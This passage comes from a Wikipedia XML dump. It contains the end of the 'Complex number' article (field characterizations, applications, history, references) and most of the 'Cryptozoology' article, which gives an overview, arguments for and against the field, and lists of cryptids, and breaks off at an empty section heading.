Unlike the reals, complex numbers cannot be ordered in any way that is compatible with its arithmetic operations: '''C''' cannot be turned into an [[ordered field]].

[[Linear_transformation#Definition_and_first_consequences|'''R'''-linear]] maps '''C''' &amp;rarr; '''C''' have the general form
:&lt;math&gt;f(z)=az+b\overline{z}&lt;/math&gt;
with complex coefficients ''a'' and ''b''. Only the first term is '''C'''-linear; also only the first term is [[Holomorphic function|holomorphic]]; the second term is real-differentiable, but does not satisfy the [[Cauchy-Riemann equations]].

The function
:&lt;math&gt;f(z)=az\,&lt;/math&gt;
corresponds to rotations combined with scaling, while the function
:&lt;math&gt;f(z)=b\overline{z}&lt;/math&gt;
corresponds to reflections combined with scaling.

===Solutions of polynomial equations===

A ''root'' of the [[polynomial]] ''p'' is a complex number ''z'' such
that ''p''(''z'') = 0.
A most striking result is that all polynomials of
degree ''n'' with real or complex coefficients have exactly ''n''
complex roots (counting [[multiple roots of a polynomial|multiple roots]] according to their
multiplicity). This is known as the [[fundamental theorem of algebra]], and shows that the complex numbers are an [[algebraically closed field]].

Indeed, the complex number field is the [[algebraically closed field|algebraic closure]] of the real number field, and [[Cauchy]] constructed complex numbers in this way. It can be identified as the [[quotient ring]] of the [[polynomial]] [[ring (mathematics)|ring]] '''R'''[''X''] by the [[Ideal (ring theory)|ideal]] generated by the polynomial ''X''&lt;sup&gt;2&lt;/sup&gt; + 1:
:&lt;math&gt; \mathbb{C} = \mathbb{R}[ X ] / ( X^2 + 1). \,&lt;/math&gt;
This is indeed a field because ''X''&lt;sup&gt;2&lt;/sup&gt; + 1 is [[irreducible polynomial|irreducible]], hence generating a [[maximal ideal]], in '''R'''[''X'']. The image of ''X'' in this quotient ring becomes the imaginary unit ''i''.

===Algebraic characterization===

The field '''C''' is ([[up to]] field [[isomorphism]]) [[characterization (mathematics)|characterized]] by the following three facts:
* its [[characteristic (algebra)|characteristic]] is 0
* its [[transcendence degree]] over the [[prime field]] is the [[cardinality of the continuum]]
* it is [[algebraically closed]]

Consequently, '''C''' contains many proper subfields which are isomorphic to '''C'''.  Another consequence of this characterization is that the [[Galois group]] of '''C''' over the rational numbers is enormous, with cardinality equal to [[Beth two|that of the power set of the continuum]].

===Characterization as a topological field===

As noted above, the algebraic characterization of '''C''' fails to capture some of its most important properties. These properties, which underpin the foundations of [[complex analysis]], arise from the [[topology]] of '''C'''. The following properties characterize '''C''' as a [[topological ring|topological field]]:
*'''C''' is a field.
*'''C''' contains a subset &lt;i&gt;P&lt;/i&gt; of nonzero elements satisfying:
**&lt;i&gt;P&lt;/i&gt; is closed under addition, multiplication and taking inverses.
**If x and y are distinct elements of &lt;i&gt;P&lt;/i&gt;, then either &lt;i&gt;x-y&lt;/i&gt; or &lt;i&gt;y-x&lt;/i&gt; is in &lt;i&gt;P&lt;/i&gt;
**If &lt;i&gt;S&lt;/i&gt; is any nonempty subset of &lt;i&gt;P&lt;/i&gt;, then &lt;i&gt;S+P=x+P&lt;/i&gt; for some &lt;i&gt;x&lt;/i&gt; in '''C'''.
*'''C''' has a nontrivial involutive automorphism &lt;i&gt;x-&gt;x*&lt;/i&gt;, fixing &lt;i&gt;P&lt;/i&gt; and such that &lt;i&gt;xx*&lt;/i&gt; is in &lt;i&gt;P&lt;/i&gt; for any nonzero &lt;i&gt;x&lt;/i&gt; in '''C'''.

Given these properties, one can then define a topology on '''C''' by taking the sets
*&lt;math&gt;B(x,p) = \{y | p - (y-x)(y-x)^*\in P\}&lt;/math&gt;
as a [[base (topology)|base]], where &lt;i&gt;x&lt;/i&gt; ranges over '''C''', and &lt;i&gt;p&lt;/i&gt; ranges over &lt;i&gt;P&lt;/i&gt;.

To see that these properties characterize '''C''' as a [[topological ring|topological field]], one notes that &lt;i&gt;P&lt;/i&gt; &amp;cup; {0} &amp;cup; &lt;i&gt;-P&lt;/i&gt; is an ordered [[Dedekind completion|Dedekind-complete]] field and thus can be identified with the [[real number]]s '''R''' by a unique field isomorphism. The last property is easily seen to imply that the [[Galois group]] over the real numbers is of order two, completing the characterization.

[[Lev Semenovich Pontryagin|Pontryagin]] has shown that the only [[connected space|connected]] [[locally compact]] [[topological ring|topological field]]s are '''R''' and '''C'''.  This gives another characterization of '''C''' as a topological field, since '''C''' can be distinguished from '''R''' by noting the nonzero complex numbers are [[connected space|connected]] whereas the nonzero real numbers are not.

==Complex analysis==
{{details|Complex analysis}}

The study of functions of a complex variable is known as  [[complex analysis]] and has  enormous practical use in  [[Applied Mathematics|applied mathematics]] as well as in other branches of mathematics. Often, the most natural proofs for statements in [[real analysis]] or even [[number theory]] employ techniques from complex analysis (see [[prime number theorem]] for an example). Unlike real functions which are commonly represented as two dimensional graphs, complex functions have four dimensional graphs
and may usefully be illustrated by color coding a three dimensional graph to suggest four dimensions, or by animating the complex function's dynamic transformation of the complex plane.

==Applications==

===Control theory===
In [[control theory]], systems are often transformed from the [[time domain]] to the [[frequency domain]] using the [[Laplace transform]].  The system's [[pole (complex analysis)|pole]]s and [[zero (complex analysis)|zero]]s are then analyzed in the ''complex plane''.  The [[root locus]], [[Nyquist plot]], and [[Nichols plot]] techniques all make use of the complex plane.

In the root locus method, it is especially important whether the [[pole (complex analysis)|pole]]s and [[zero (complex analysis)|zero]]s are in the left or right half planes, i.e. have real part greater than or less than zero.  If a system has poles that are 
*in the right half plane, it will be [[unstable]], 
*all in the left half plane, it will be [[stability|stable]],
*on the imaginary axis, it will be [[marginally stable]].
If a system has zeros in the right half plane, it is a [[nonminimum phase]] system.

===Signal analysis===
Complex numbers are used in [[signal analysis]] and other fields as a convenient description for periodically varying signals. The absolute value |''z''| is interpreted as the [[amplitude]] and the argument arg(''z'') as the [[phase]] of a [[sine wave]] of given [[frequency]]. 

If [[Fourier analysis]] is employed to write a given real-valued signal as a sum of periodic functions, these periodic functions are often written as the real part of complex valued functions of the form
:&lt;math&gt; f ( t ) = z e^{i\omega t} \,&lt;/math&gt;
where &amp;omega; represents the [[angular frequency]] and the complex number ''z'' encodes the phase and amplitude as explained above.

In [[electrical engineering]], the Fourier transform is used to analyze varying [[voltage]]s and [[current (electricity)|current]]s. The treatment of [[resistor]]s, [[capacitor]]s, and [[inductor]]s can then be unified by introducing imaginary, frequency-dependent resistances for the latter two and combining all three in a single complex number called the [[impedance]]. (Electrical engineers and some physicists use the letter ''j'' for the imaginary unit since ''i'' is typically reserved for varying currents and may come into conflict with ''i''.) This use is also extended into [[digital signal processing]] and [[digital image processing]], which utilize digital versions of Fourier analysis (and [[Wavelet]] analysis) to transmit, [[compression|compress]], restore, and otherwise process [[digital]] [[Sound|audio]] signals, still images, and [[video]] signals.

===Improper integrals===
In applied fields, the use of complex analysis is often used to compute certain real-valued [[improper integral]]s, by means of complex-valued functions. Several methods exist to do this, see [[methods of contour integration]].

===Quantum mechanics===
The complex number field is also of utmost importance in [[quantum mechanics]]
since the underlying theory is built on (infinite dimensional) [[Hilbert space|Hilbert spaces]] over '''C'''.

===Relativity===
In [[special relativity|special]] and [[general relativity]], some formulas for the metric on [[spacetime]] become simpler if one takes the time variable to be imaginary.

===Applied mathematics===
In [[differential equations]], it is common to
first find all complex roots ''r'' of the [[characteristic equation]] of a 
[[linear differential equation]] and then attempt to solve the system
in terms of base functions of the form ''f''(''t'') = ''e''&lt;sup&gt;''rt''&lt;/sup&gt;.

===Fluid dynamics===
In [[fluid dynamics]], complex functions are used to describe [[potential flow in 2d]].

===Fractals===
Certain [[fractal]]s are plotted in the complex plane e.g. [[Mandelbrot set]] and [[Julia set]].

==History==

The earliest fleeting reference to square roots of negative numbers occurred in the work of the Greek mathematician and inventor [[Heron of Alexandria]] in the [[1st century]] [[common era|CE]], when he considered the volume of an impossible [[frustum]] of a [[pyramid]] {{citation needed}}. They became more prominent when in the [[16th century]] closed formulas for the roots of third and fourth degree polynomials were discovered by Italian mathematicians (see [[Niccolo Fontana Tartaglia]], [[Gerolamo Cardano]]). It was soon realized that these formulas, even if one was only interested in real solutions, sometimes required the manipulation of square roots of negative numbers. For example, Tartaglia's cubic formula gives the following solution to the equation &lt;math&gt;x^3-x=0&lt;/math&gt;: 

:&lt;math&gt;\frac{1}{\sqrt{3}}\left(\sqrt{-1}^{1/3}+\frac{1}{\sqrt{-1}^{1/3}}\right).&lt;/math&gt;

At first glance this looks like nonsense. However formal calculations with complex numbers show that the equation &lt;math&gt;z^3=i&lt;/math&gt; has solutions &amp;minus;''i'', &lt;math&gt;\frac{\sqrt{3}}{2}+\frac{1}{2}i&lt;/math&gt; and  &lt;math&gt;\frac{-\sqrt{3}}{2}+\frac{1}{2}i&lt;/math&gt;. Substituting these in turn for &lt;math&gt;\sqrt{-1}^{1/3}&lt;/math&gt; into the cubic formula and simplifying, one gets 0, 1 and &amp;minus;1 as the solutions of &lt;math&gt;x^3-x=0.&lt;/math&gt;

This was doubly unsettling since not even negative numbers were considered to be on firm ground at the time. The term &quot;imaginary&quot; for these quantities was coined by [[René Descartes]] in [[1637]] and was meant to be derogatory (see [[imaginary number]] for a discussion of the &quot;reality&quot; of complex numbers). A further source of confusion was that the equation &lt;math&gt;\sqrt{-1}^2=\sqrt{-1}\sqrt{-1}=-1&lt;/math&gt; seemed to be capriciously inconsistent with the algebraic identity &lt;math&gt;\sqrt{a}\sqrt{b}=\sqrt{ab}&lt;/math&gt;, which is valid for positive real numbers ''a'' and ''b'', and which was also used in complex number calculations with one of ''a'', ''b'' positive and the other negative. The incorrect use of this identity (and the related identity &lt;math&gt;\frac{1}{\sqrt{a}}=\sqrt{\frac{1}{a}}&lt;/math&gt;) in the case when both ''a'' and ''b'' are negative even bedeviled [[Euler]]. This difficulty eventually led to the convention of using the special symbol ''i'' in place of &lt;math&gt;\sqrt{-1}&lt;/math&gt; to guard against this mistake.

The [[18th century]] saw the labors of [[Abraham de Moivre]] and [[Leonhard Euler]]. To De Moivre is due (1730) the well-known formula which bears his name, [[de Moivre's formula]]:

:&lt;math&gt;(\cos \theta + i\sin \theta)^{n} = \cos n \theta + i\sin n \theta \,&lt;/math&gt;

and to Euler (1748) [[Euler's formula]] of [[complex analysis]]:

:&lt;math&gt;\cos \theta + i\sin \theta = e ^{i\theta }. \,&lt;/math&gt;

The existence of complex numbers was not completely accepted until the geometrical interpretation (see below) had been described by [[Caspar Wessel]] in [[1799]]; it was rediscovered several years later and popularized by [[Carl Friedrich Gauss]], and as a result the theory of complex numbers received a notable expansion. The idea of the graphic representation of complex numbers had appeared, however, as early as 1685, in [[John Wallis|Wallis]]'s ''De Algebra tractatus''.

Wessel's memoir appeared in the Proceedings of the [[Copenhagen Academy]] for 1799, and is exceedingly clear and complete, even in comparison with modern works. He also considers the sphere, and gives a [[quaternion]] theory from which he develops a complete spherical trigonometry. In 1804 the Abbé Buée independently came upon the same idea which Wallis had suggested, that &lt;math&gt;\pm\sqrt{-1}&lt;/math&gt; should represent a unit line, and its negative, perpendicular to the real axis. [[Buée]]'s paper was not published until 1806, in which year [[Jean-Robert Argand]] also issued a pamphlet on the same subject. It is to Argand's essay that the scientific foundation for the graphic representation of complex numbers is now generally referred. Nevertheless, in 1831 Gauss found the theory quite unknown, and in 1832 published his chief memoir on the subject, thus bringing it prominently before the mathematical world. Mention should also be made of an excellent little treatise by [[Mourey]] (1828), in which the foundations for the theory of directional numbers are scientifically laid. The general acceptance of the theory is not a little due to the labors of [[Augustin Louis Cauchy]] and [[Niels Henrik Abel]], and especially the latter, who was the first to boldly use complex numbers with a success that is well known.

The common terms used in the theory are chiefly due to the founders. Argand called &lt;math&gt;\cos \phi + i\sin \phi&lt;/math&gt; the ''direction factor'', and &lt;math&gt;r = \sqrt{a^2+b^2}&lt;/math&gt; the ''modulus''; Cauchy (1828) called &lt;math&gt;\cos \phi + i\sin \phi&lt;/math&gt; the ''reduced form'' (l'expression réduite); Gauss used ''i'' for &lt;math&gt;\sqrt{-1}&lt;/math&gt;, introduced the term ''complex number'' for &lt;math&gt;a+bi&lt;/math&gt;, and called &lt;math&gt;a^2+b^2&lt;/math&gt; the ''norm''.

The expression ''direction coefficient'', often used for &lt;math&gt;\cos \phi + i
\sin \phi&lt;/math&gt;, is due to Hankel (1867), and ''absolute value,'' for ''modulus,'' is due to Weierstrass.

Following Cauchy and Gauss have come a number of contributors of high rank, of whom the following may be especially mentioned: [[Ernst Kummer|Kummer]] (1844), [[Leopold Kronecker]] (1845), [[Scheffler]] (1845, 1851, 1880), [[Bellavitis]] (1835, 1852), Peacock (1845), and [[Augustus De Morgan|De Morgan]] (1849). [[August Ferdinand Möbius|Möbius]] must also be mentioned for his numerous memoirs on the geometric applications of complex numbers, and [[Johann Peter Gustav Lejeune Dirichlet|Dirichlet]] for the expansion of the theory to include primes, congruences, reciprocity, etc., as in the case of real numbers.

A complex [[ring (mathematics)|ring]] or [[Field (mathematics)|field]] is a set of complex numbers which is [[closed]] under addition, subtraction, and multiplication. [[Carl Friedrich Gauss|Gauss]] studied complex numbers of the form &lt;math&gt;a + bi&lt;/math&gt;, where ''a'' and ''b'' are integral, or rational (and  ''i'' is one of the two roots of &lt;math&gt;x^2 + 1 = 0&lt;/math&gt;). His student, [[Ferdinand Eisenstein]], studied the type &lt;math&gt;a + b\omega&lt;/math&gt;, where &lt;math&gt;\omega&lt;/math&gt; is  a complex root of &lt;math&gt;x^3 - 1 = 0&lt;/math&gt;. Other such classes (called [[cyclotomic fields]]) of complex numbers are derived from the [[roots of unity]] &lt;math&gt;x^k - 1 = 0&lt;/math&gt; for higher values of &lt;math&gt;k&lt;/math&gt;. This generalization is largely due to [[Kummer]], who also invented  [[ideal number]]s, which were expressed as geometrical entities by [[Felix Klein]] in 1893. The general theory of fields was created by [[Évariste Galois]], who studied the fields generated by the roots of any polynomial equation 

:&lt;math&gt;\ F(x) = 0.&lt;/math&gt;  

The late writers (from 1884) on the general theory include [[Karl Weierstrass|Weierstrass]], [[Hermann Schwarz|Schwarz]], [[Richard Dedekind]], [[Otto Hölder]], [[Berloty]], [[Henri Poincaré]], [[Eduard Study]], and [[Alexander MacFarlane]].

The formally correct definition using pairs of real numbers was given in the [[19th century]].

== See also ==

* [[Circular_motion#Using_complex_numbers]]
* [[Complex geometry]]
* [[De Moivre's formula]]
* [[Euler's identity]]
* [[Hypercomplex number]]
* [[Leonhard Euler]]
* [[Local field]]
* [[Mandelbrot Set]]
* [[Phasor (physics)]]
* [[Phasor (electronics)]]
* [[Quaternion]]
* [[Riemann sphere]] (extended complex plane)
* [[Split-complex number]]

== Further reading ==

* ''An Imaginary Tale: The Story of &lt;math&gt;\sqrt{-1}&lt;/math&gt;'', by Paul J. Nahin; Princeton University Press; ISBN 0691027951 (hardcover, 1998). A gentle introduction to the history of complex numbers and the beginnings of complex analysis.
* ''Numbers'', by H.-D. Ebbinghaus, H. Hermes, F. Hirzebruch, M. Koecher, K. Mainzer, J. Neukirch, A. Prestel, R. Remmert; Springer; ISBN 0-387-97497 (hardcover, 1991). An advanced perspective on the historical development of the concept of number.
* ''The Road to Reality: A Complete Guide to the Laws of the Universe'', by [[Roger Penrose]]; Alfred A. Knopf, 2005; ISBN 0679454438. Chapters 4-7 in particular deal extensively (and enthusiastically) with complex numbers.

== External links ==
* [[wikibooks:Complex numbers|Complex numbers at Wikibooks]]
* [http://mathforum.org/johnandbetty/ John and Betty's Journey Through Complex Numbers]
* [http://mathworld.wolfram.com/ComplexNumber.html Complex Number from MathWorld]
* [http://www.sosmath.com/complex/complex.html SOS Math - Complex Variables]
* [http://www.binarythings.com/hidigit/ Windows calculator that supports complex numbers]
* [http://www.cut-the-knot.org/arithmetic/algebra/ComplexNumbers.shtml Algebraic Structure of Complex Numbers] from [[cut-the-knot]]

[[Category:Complex numbers]]
[[Category:Elementary mathematics]]

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[[da:Komplekse tal]]
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[[el:Μιγαδικός αριθμός]]
[[et:Kompleksarv]]
[[es:Número complejo]]
[[eo:Kompleksa Nombro]]
[[fa:اعداد مختلط]]
[[fr:Nombre complexe]]
[[ko:&amp;#48373;&amp;#49548;&amp;#49688;]]
[[is:Tvinntölur]]
[[it:Numero complesso]]
[[he:&amp;#1502;&amp;#1505;&amp;#1508;&amp;#1512; &amp;#1502;&amp;#1512;&amp;#1493;&amp;#1499;&amp;#1489;]]
[[lt:Kompleksiniai skai&amp;#269;iai]]
[[nl:Complex getal]]
[[ja:&amp;#35079;&amp;#32032;&amp;#25968;]]
[[nb:Komplekst tall]]
[[pl:Liczby zespolone]]
[[pt:Número complexo]]
[[ro:Număr complex]]
[[ru:&amp;#1050;&amp;#1086;&amp;#1084;&amp;#1087;&amp;#1083;&amp;#1077;&amp;#1082;&amp;#1089;&amp;#1085;&amp;#1086;&amp;#1077; &amp;#1095;&amp;#1080;&amp;#1089;&amp;#1083;&amp;#1086;]]
[[scn:Nummuru complessu]]
[[sl:Kompleksno &amp;#353;tevilo]]
[[sr:Комплексан број]]
[[fi:Kompleksiluku]]
[[sv:Komplexa tal]]
[[th:&amp;#3592;&amp;#3635;&amp;#3609;&amp;#3623;&amp;#3609;&amp;#3648;&amp;#3594;&amp;#3636;&amp;#3591;&amp;#3595;&amp;#3657;&amp;#3629;&amp;#3609;]]
[[tr:Karma&amp;#351;&amp;#305;k say&amp;#305;lar]]
[[zh:&amp;#35079;&amp;#25976; (&amp;#25976;&amp;#23416;)]]
[[hu:Komplex számok]]
[[ta:கலப்பெண்]]</text>
    </revision>
  </page>
  <page>
    <title>Cryptozoology</title>
    <id>5828</id>
    <revision>
      <id>42102140</id>
      <timestamp>2006-03-03T21:12:58Z</timestamp>
      <contributor>
        <username>Danielos2</username>
        <id>931343</id>
      </contributor>
      <comment>/* Former cryptids */</comment>
      <text xml:space="preserve">'''Cryptozoology''' is the study of [[animal]]s  that are presumed (at least by the [[researcher]]) to exist, but for which conclusive proof is missing; the term also includes the study of animals generally considered [[extinction|extinct]], but which are still occasionally reported. Those who study or search for such animals are called ''cryptozoologists'', while the [[hypothesis|hypothetical]] creatures involved are referred to by some as &quot;cryptids&quot;, a term coined by John Wall in 1983. 

==Overview==
Invention of the term cryptozoology (adding the Greek prefix ''kryptós'', or &quot;hidden&quot; to ''[[zoology]]'' to mean &quot;the study of hidden animals&quot;) is often attributed to [[zoologist]] [[Bernard Heuvelmans]]. However, Heuvelmans himself (in his book [[In the Wake of Sea Serpents]]) attributed coinage of the term to the late Scottish explorer and adventurer Ivan T. Sanderson. Similarly, Heuvelmans' monumental [[1955]] book, ''[[On The Track of Unknown Animals]]'' is often seen as the discipline's Ur-document, even though Heuvelmans traced the scholarly origins of the discipline to [[Anthonid Cornelis Oudemans]] and his [[1892]] study, ''The Great [[sea serpent|Sea Serpent]]''.  [[Loren Coleman]], the modern popularizer of cryptozoology, has chronicled the history and personalities of the science in his books.

Another notable book was [[Willy Ley]]'s ''Exotic Zoology'' (1959). Ley was best known for his books on [[rocket]]ry and related topics, but he also wrote a number of books about [[animal]]s. ''Exotic Zoology'' (which combined some of Ley's older writings with new ones) is of some interest to cryptozoology, as he discusses the [[Yeti]] and [[sea serpent]]s, as well as reports of [[relict]] dinosaurs.  The book's first section (''Myth?'') entertains the possibility that some [[legendary creature]]s (like the [[sirrush]], the [[unicorn]] or the [[cyclops]]) might be based on actual animals (or misinterpretation of animals and/or their remains).

Heuvelmans argued that cryptozoology should be undertaken with [[scientific rigor]], but also with an [[wikt:open-minded|open-minded]], [[interdisciplinary]] approach. He also stressed that attention should be given to local and folkloric sources regarding such creatures. While often layered in unlikely and fantastic elements, folktales may indeed contain grains of truth and important information regarding these animals.

Some cryptozoologists align themselves with a more scientifically rigorous field like [[zoology]], while others tend toward an [[anthropology|anthropological]] slant or even a [[forteana|Fortean]] perspective. Cryptozoology is often considered a [[pseudoscience]] by mainstream zoologists and biologists.

==Justifications for cryptozoology==
Scientists have demonstrated that some creatures of [[mythology]], legend or [[local folklore]] were rooted in real animals or phenomena. Thus, cryptozoologists hold that people should be open to the possibility that many more such animals exist. In the early days of [[Western society|western]] exploration of the world, many [[native]] tales of unknown animals were initially dismissed as mythology or [[superstition]] by western scientists, but were later proven to have a real basis in biological fact. 

As in other fields, cryptozoologists tend to be responsible for disproving their own objects of study. For example, some cryptozoologists have collected statistical data and studied witness accounts that challenge the validity of many [[Bigfoot]] sightings.

In the ''[[New York Times]]'', [[William J. Broad]] writes, &quot;[[Monster]] lovers take heart. Scientists argue that so much of the planet remains unexplored that new surprises are sure to show up; if not legendary beasts like the [[Loch Ness monster]] or the [[dinosaur]]-like [[reptile]] said to inhabit [[Lake Champlain]], then animals that in their own way may be even stranger.&quot;[http://www.nytimes.com/2005/10/02/weekinreview/02broa.html]

Cryptozoologists point out that natives often know a great deal more about their immediate environment (and the animals that inhabit it) than western investigators, and therefore suggest that, even today, thus far unproven tales and traditions regarding unknown undescribed animals in native folklore should not be summarily dismissed in the same way.

There are several animals cited as examples for continuing cryptozoological efforts:

* The [[coelacanth]], a &quot;[[living fossil]]&quot; — a representative of an order of fishes believed to have been extinct for 65 million years — was identified from a specimen found in a fishing net in [[1938]] off the coast of [[South Africa]]. (The coelacanth was well known to [[Comoros]] fishermen as the gombessa, but unknown to scientists.)
* Of an even older lineage than the coelacanth are the [[Graptolite]]s. Living representatives were first found in [[1882]], although the group had previously been presumed to have been extinct for 300 million years. Cryptozoologists point these out to demonstrate that there are many unexplored regions of the world left, and that remote exotic locations or specialized [[ecosystem]]s relatively untouched by man may contain unexpected life.
* Similarly cited is the [[1976]] discovery of the previously unknown [[megamouth shark]], discovered off [[Oahu]], [[Hawaii]], when it became entangled in a ship's anchor. Some have cautioned against applying the &quot;megamouth analogy&quot; too broadly to hypothetical creatures, noting that while &quot;the megamouth does show that the oceans have a lot of secrets left to reveal ... The megamouth is not a useful analogy to support the existence of marine cryptids&quot; in general. [http://www.ncf.carleton.ca/~bz050/megalodon.html]
* Also cited is the [[2003]] discovery of the remains of ''[[Homo floresiensis]]'', a descendent of ''[[Homo erectus]]'' which took the anthropological community completely by surprise. The fact that myths of a strikingly similar creature, called [[Ebu Gogo]] by the local people, have persisted until as late as the [[19th Century]] has given the field of study new credibility from the rest of the scientific community. 
* Cryptozoological supporters have noted that many unfamiliar animals, when first reported, were considered [[hoax]]es, delusions or misidentifications. The [[platypus]], [[giant squid]] (and [[colossal squid]]), [[mountain gorilla]], and [[komodo dragon]] are a few such creatures.  Supporters note that unyielding [[skeptic]]ism may in fact inhibit discovery of unknown animals. Others have suggested a rigid [[world view]] disallows many [[academic]]s from accepting evidence contrary to the prevailing [[paradigm]].

Along similar lines, the emblem of the now-defunct International [[Society for Cryptozoology]] is the [[okapi]], a forest-dwelling relative of the [[giraffe]] that was unknown to Western scientists prior to [[1901]].

[[Georges Cuvier]]'s so-called &quot;Rash [[Dictum]]&quot; (a phrase coined by Heuvelmans) is sometimes cited as a reason that researchers should avoid unfounded, &quot;rash&quot; conclusions: In [[1821]], Cuvier remarked that it was unlikely for any large, unknown animal to be discovered, not because they aren't conspicuous, but because there aren't that many. Many such discoveries have been made since Cuvier's statement (though fewer than 50 in number). It's been argued that the chances of uncovering large, previously unknown [[vertebrate]]s are very slender when compared to uncovering unknown [[invertebrate]]s. It is the commitment to spectacular animals (mostly vertebrates) that makes cryptozoology's critics suspicious of sensationalism.

==Criticism of cryptozoology==
While many cryptozoologists strive for legitimacy and some are respected scientists in other fields, and though discoveries of previously unknown animals are often subject to great attention, cryptozoology ''per se'' has never been fully embraced by the scientific community. A cryptozoologist may propose that an interest in reports of animals does not entail [[belief]], but a detractor might counter that accepting unsubstantiated sightings without [[skepticism]] is itself a belief. 

Many mainstream experts are likely put off by the more sensationalistic fringe elements in cryptozoology, and the occasional overlap with alleged [[paranormal]] phenomena. Another reason for the lukewarm reaction from mainstream science may be a lack of specialization. Unlike mainstream animal experts (who typically focus vary narrowly on a specific [[species]] for their study), many cryptozoologists study or research a broad range of alleged creatures from many different families.

Most criticism&amp;mdash;and sometimes ridicule&amp;mdash;from the scientific mainstream is, however, directed at the proponents for the existence of the more &quot;famous&quot; cryptids (like [[Bigfoot]], [[Yeti]] or the [[Loch Ness Monster]]), whose existence is generally regarded as ''highly'' unlikely. [[Ben S. Roesch]] calls these alleged creatures &quot;mega-monsters&quot;, and furthermore notes that &quot;many lesser known mystery creatures&quot; are alleged to exist as well, and that &quot;some of these have more evidence going for them than the monster super-stars.&quot;[http://www.ncf.carleton.ca/~bz050/HomePage.cryptoz.html]

The larger cryptids, in fact, would not only have to often evade close contact (accidental or otherwise) with humans to remain undiscovered, they would also have to do so in great numbers. Another oft-cited problem is the fact that such alleged creatures could not survive unless there was a [[gene pool]] composed of many&amp;mdash;maybe hundreds&amp;mdash;of the creatures.

==Notable cryptids==
(Creatures which are known to have existed and are presumed extinct are marked with (E).)

===Primates and hominids===
*[[Almas (cryptozoology)|Almas]]
*[[Biabin-guli]]
*[[Bigfoot]] (also known as Sasquatch)
*[[Brenin Llwyd]]
*[[Bili Ape]]
*[[Fear liath]]
*[[Fouke Monster]]
*[[Gin-Sung]]
*[[Hibagon]]
*[[Humanzee]]
*[[Kaptar]]
*[[Kikombo]]
*[[Ameranthropoides loysi|Loys's Ape]]
*[[Mecheny]]
*[[Menehune]]
*[[Minnesota Iceman]]
*[[Mirygdy]]
*[[Moehau]]
*[[Mono Grande]]
*[[Napes]] (North American Apes)
*[[Neo-Giant]]
*[[Ngolko]]
*[[Nguoi Rung]]
*[[Old Yellow Top]]
*[[Orang Pendek]]
*[[Skunk Ape]]
*[[Yeren]]
*[[Yeti]] (also known as Abominable Snowman)
*[[Yowie (cryptid)|Yowie]]

===Bipedal creatures===
*[[Canvey Island Monster]]
*[[Chupacabra]]
*[[Dover Demon]]
*[[Goatman (cryptozoology)|Goatman]] or [[Ikal]]
*[[Jersey Devil]]
*[[Kappa (mythical creature)|Kappa]]
*[[Lizard Man of Scape Ore Swamp]]
*[[Loveland Frog]]
*[[Orang-Bati]]
*[[Pope Lick Monster]]
*[[Reptilian humanoid|Lizard men]]
*[[Wendigo]]
*[[The Loveland Lizard]]
*[[Wampus cat]]

===Carnivorous mammals===
*The [[Beast of Bodmin]]
*The [[Beast of Exmoor]]
*The [[Beast of Dean]] or ''Moose-Pig''
*[http://www.skepticreport.com/mystics/beastfunen.htm ''The Beast of Funen'']
*The [[Beast of Gévaudan]] (mysterious &quot;giant wolf&quot; attacks in 18th century France)
*Blue Tiger (see [[Maltese tiger]])
*[[Dobhar-chu]]
*[[God Bear]] or [[Bergman's Bear]]
*[[Japanese Wolf]]
*[[Maltese tiger]]
*[[Marozi]]
*[[Mngwa]]
*[[Nandi Bear]]
*[[Ozark Howler]]
*[[Queensland Tiger]]
*[[Shunka Warakin]]
*'''[[Thylacine]] or [[Thylacine|Tasmanian tiger]]''' (E)
*[[Waheela]]
*[[Waitoreke]]
*[[Veo]]

===Herbivorous mammals===
*[[Giant beaver]]
*[[Megatherium]] or &quot;[[Mapinguari]]&quot; (E)
*[[Mammoth]](E)
*[[Quagga]] (E)
*[[Unicorn]] or [[Elasmotherium]]

===Sea and lake creatures===
*[[Altamaha-ha]]
*[[Bessie (Lake Monster)|Bessie]] ([[Lake Erie]])
*[[Brosno|Brosno Monster]]
*[[Cadborosaurus willsi]] 'Caddy'
*[[Champ (legend)|Champ]]
*[[Con Rit]]
*[[Gambo]]
*[[Gigliois Whale]]
*[[Inkanyamba]]
*[[Kraken|The Kraken]]
*[[Lake Oymyakon Monster]]
*[[Lake Van Monster]]
*[[Loch Ness Monster]] 
*[[Manipogo]]
*[[Megalodon]] (E)
*[[Mermaids]]
*[[Morag (lake monster)]]
*[[Ogopogo]]
*[[Sea monk]]
*[[Sea monster]]s
*[[Sea serpent]]
*[[Steller's Sea Cow]] (E)
*[[Storsjöodjuret]]
*[[Trunko]]

===Reptiles===
*[[Buru (cryptozoology)|Buru]]
*[[Emela-ntouka]] 
*Giant [[Anaconda]]s
*[[Kasai Rex]] 
*[[Kingstie]]
*[[Kongamato]]
*[[Mbielu-Mbielu-Mbielu]] ([[Stegosaurus]])
*[[Megalania prisca]], the giant Australian [[monitor lizard]]
*[[Mokele mbembe]] ([[Sauropod]])
*[[Ngoubou]] ([[Triceratops]])
*[[Oscar, Beast of Busco|Oscar]] ('Beast of Busco')
*[[Olitiau]]
*[[Ropen]]
*[[Sirrush]]
*[[Tatzelwurm]]
*[[Tsuchinoko]]

===Birds===
*[[Carolina Parakeet]] (E)
*[[Devil Bird]]
*[[Dodo]] (E)
*[[Elephant bird]] (E)
*[[Great Auk]] (E)
*[[Harpagornis]]
*[[Moa]] (E)
*[[Owlman|Giant Owls]]
*[[Passenger Pigeon]] (E)
*[[Thunderbird (cryptozoology)|Thunderbird]]

===Marsupials===
*[[Diprotodont]]

===Amphibians===
*[[Trinity Alps Giant Salamander]]
*[[Lamprey (cryptozoology)|Lamprey salamander]]

===Debated classification===
*[[Ahool]]
*[[Bunyip]]
*[[Mongolian Death Worm]]

===Former cryptids===
These are creatures that once had cryptid status, but have been identified.

* [[King Cheetah]]
*[[Lord Howe's Stick Insect]]
*[[Onza]]
*[[Purple Kangaroo]]
* [[Pygmy Elephant]]

===Previously thought extinct===
These are living creatures that, although not necessarily considered cryptids, were thought to be extinct and are often discussed in cryptozoological forums.

*[[Coelocanth]]
*[[Ivory-billed woodpecker]]

===Discredited===

*[[Giant Penguin]]
*[[Rod (cryptozoology)|Rod]]
*[[Man-eating tree]]

===General terms for cryptids===
*UMA: Unidentified Mysterious Animal.
*[[Globster]]: Huge shapeless fleshy carcass on a beach, from an unidentified sea creature.

There are also some areas of cryptozoology that deal with &quot;mysterious&quot; animals, though in some cases this could also be considered [[forteana]] or [[parapsychology]]:

*[[Hellhound]]s
*[[Mothman]]
*[[Phantom cat]]s
*[[Phantom kangaroos]]

==Bodies of water in which water cryptids are said to live==

